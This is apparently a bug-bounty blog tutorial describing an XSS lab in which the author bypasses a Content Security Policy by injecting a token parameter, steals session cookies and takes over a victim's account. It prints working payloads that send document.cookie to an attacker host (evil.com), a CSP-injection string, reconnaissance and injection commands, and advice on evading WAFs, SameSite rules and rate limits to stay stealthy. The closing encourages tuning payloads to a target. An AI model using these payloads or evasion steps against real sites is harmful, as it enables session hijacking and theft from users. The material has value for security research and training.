
I walk through real-world XSS labs, showing how to bypass CSP, steal session cookies, and automate testing with Burp Suite, subfinder, and more. Follow my step-by-step guide.
Cross-Site Scripting: I Bypass CSP & Steal Cookies with Advanced XSS – My Lab
Published by Brav
Table of Contents
TL;DR
- I turn a CSP-locked app into a cookie-theft playground.
- I demonstrate stored, reflected, and DOM XSS using a lab built from real bug-bounty reports.
- I inject a CSP token via a URL parameter to override default-src ‘self’.
- I automate endpoint discovery with subfinder, waybackurls, httpx, qsreplace, and nuclei.
- I share a checklist to avoid common pitfalls and stay stealthy.
Why this matters
Every bug-hunter knows that the classic “alert(1)” test rarely lands a bounty. Filters block common payloads, self-XSS payloads don’t affect real users, and CSP headers often sit like a guard dog at the perimeter. In a real-world setting I was left with three questions: how do I get past those filters, how do I turn a simple XSS into an account takeover, and how do I automate the process so I can cover dozens of endpoints in a single session? This lab answers those questions head-on.
Core concepts
Below is a quick reference for the three XSS flavors I focus on, plus the CSP bypass trick that turned the lab into a cookie-theft playground.
| XSS Type | Typical Injection Point | Example Payload | Limitation |
|---|---|---|---|
| Stored | A database field that is rendered on a page | <script>document.cookie</script> | Requires write access to the target |
| Reflected | A URL query string that is reflected in the response | <script>alert(1)</script> | Works only when the param is echoed back |
| DOM | Client-side code that manipulates the DOM (e.g., location.hash) | <img src=x onerror=alert(1)> | Needs vulnerable JavaScript on the page |
| CSP bypass via token | A custom token query param that the app injects into the CSP header | token=’; script-src https://evil.com ‘self’; | Depends on the app trusting the token |
The CSP bypass trick works because the target app constructs the Content-Security-Policy header from a token in the URL. By closing the original directive with a semicolon and appending a new script-src pointing to an attacker-controlled domain, I turned default-src ‘self’ into a door I could walk through.
How to apply it
I built the lab on a clean Python virtual environment. The steps are broken into three phases: enumeration, injection, and exploitation.
Set up the environment
python3 -m venv venv source venv/bin/activate pip install requestsI then installed the tooling:
- subfinder subfinder Tool (2024)
- waybackurls waybackurls Utility (2024)
- httpx httpx Toolkit (2024)
- qsreplace qsreplace Utility (2024)
- nuclei nuclei Scanner (2024)
Discover endpoints
subfinder -d target.com -o subdomains.txt waybackurls -d target.com > archived.txt httpx -l archived.txt -o active.txtThe httpx pass-thru keeps only responsive URLs, giving me a clean list of candidates.
Craft XSS payloads
I kept a small payload set:- Stored XSS:
<img src=x onerror=fetch('https://evil.com/cookie?c='+document.cookie)> - Reflected XSS:
<script>fetch('https://evil.com/cookie?c='+document.cookie)</script> - DOM XSS:
#<img src=x onerror=fetch('https://evil.com/cookie?c='+document.cookie)>
Using qsreplace, I injected them into every query string:
qsreplace -replace "<img src=x onerror=fetch('https://evil.com/cookie?c='+document.cookie)>" -in active.txt > payloaded.txt- Stored XSS:
Run automated scans
I fed the payloaded list into nuclei with the XSS templates:nuclei -l payloaded.txt -t nuclei-templates/xss/The scanner quickly flagged the reflected XSS on the /search endpoint and the DOM XSS on /profile.
Manual refinement in Burp Suite
I opened Burp Proxy Burp Suite — PortSwigger Documentation (2024) and captured the request to /search?query=. In Repeater I replaced the query param with the stored-XSS payload and added a token param to override the CSP:token='; script-src https://evil.com 'self';The response header now reads:
Content-Security-Policy: default-src 'self'; script-src https://evil.com 'self';The malicious image now loads from evil.com, sending the victim’s cookie back to my Pipedream endpoint. Pipedream’s simple HTTP trigger logs the c query param, proving the cookie was exfiltrated. (See Pipedream Platform (2024) for a quick setup guide.)
Verify session takeover
With the stolen cookie in hand, I recreated the victim’s session in a new browser tab. I was logged in as the victim, confirming the account takeover.
Pitfalls & edge cases
| Problem | Why it matters | How to avoid |
|---|---|---|
| WAF blocks the payload | Many sites block script tags outright | Encode payload (%3Cscript%3E…%3C/script%3E) or use image onerror |
| CSP uses a nonce | The script-src rule ignores external domains | Bypass via token or use script-src-elem if available |
| SameSite cookie policy | Cookie may not be sent to cross-origin | Use a malicious image that points to a subdomain under the same domain, or target a session cookie without SameSite |
| Rate-limit or IP ban | Enumeration tools can trigger defenses | Throttle requests (–rate-limit in httpx, –threads in subfinder) |
| Blind XSS detection | No visible response, hard to confirm | Use an out-of-band channel (Pipedream or webhook) to log the cookie |
Quick FAQ
How does the attacker modify the victim’s session cookie to hijack the session?
The attacker injects a payload that reads document.cookie and sends the value to an attacker-controlled endpoint. The cookie value is then used to forge authenticated requests.What are the differences in payloads required for each type of XSS (stored, reflected, DOM)?
Stored XSS needs persistence in a database, reflected XSS uses the request payload directly, and DOM XSS manipulates client-side code that runs in the browser’s context.How does the CSP token parameter injection work in detail?
The application inserts the token value into the CSP header. By closing the existing directive with a semicolon and appending a new script-src rule, the attacker can redirect script execution to an external domain.What specific CSP header directives can be manipulated via the token?
Any directive that the application concatenates into the header—commonly default-src, script-src, style-src, or img-src. Adding a new domain or unsafe-inline can break the policy.What are the best practices for automating XSS detection across many endpoints?
Use a combination of enumeration (subfinder, waybackurls), active probing (httpx, qsreplace), and template scanners (nuclei). Store results in a database and run periodic scans.How do you ensure a malicious image source effectively exfiltrates the victim cookie?
Host the image on a domain that the victim’s browser will load, and add a query string that the server logs. Verify receipt by checking the server logs or a webhook.
Conclusion
The lab proves that a disciplined approach—combining automated discovery, payload injection, and CSP bypass—can turn a seemingly secure app into a cookie-theft playground. If you’re a bug-hunter or security researcher, I encourage you to set up this lab, tweak the payloads for your target, and remember the checklist above to stay stealthy. For those starting out, consider joining a beginner’s coaching session—practical, hands-on guidance can shave hours off the learning curve.
References
- Burp Suite — PortSwigger Documentation (2024) https://portswigger.net/burp
- MDN Web Docs: Content Security Policy (2024) https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP
- Pipedream Platform (2024) https://pipedream.com/
- YesWeHack Crowdsourced Bug Bounty Platform (2024) https://www.yeswehack.com/
- subfinder Tool (2024) https://github.com/projectdiscovery/subfinder
- waybackurls Utility (2024) https://github.com/tomnomnom/waybackurls
- nuclei Scanner (2024) https://github.com/projectdiscovery/nuclei
- httpx Toolkit (2024) https://github.com/projectdiscovery/httpx
- qsreplace Utility (2024) https://github.com/tomnomnom/qsreplace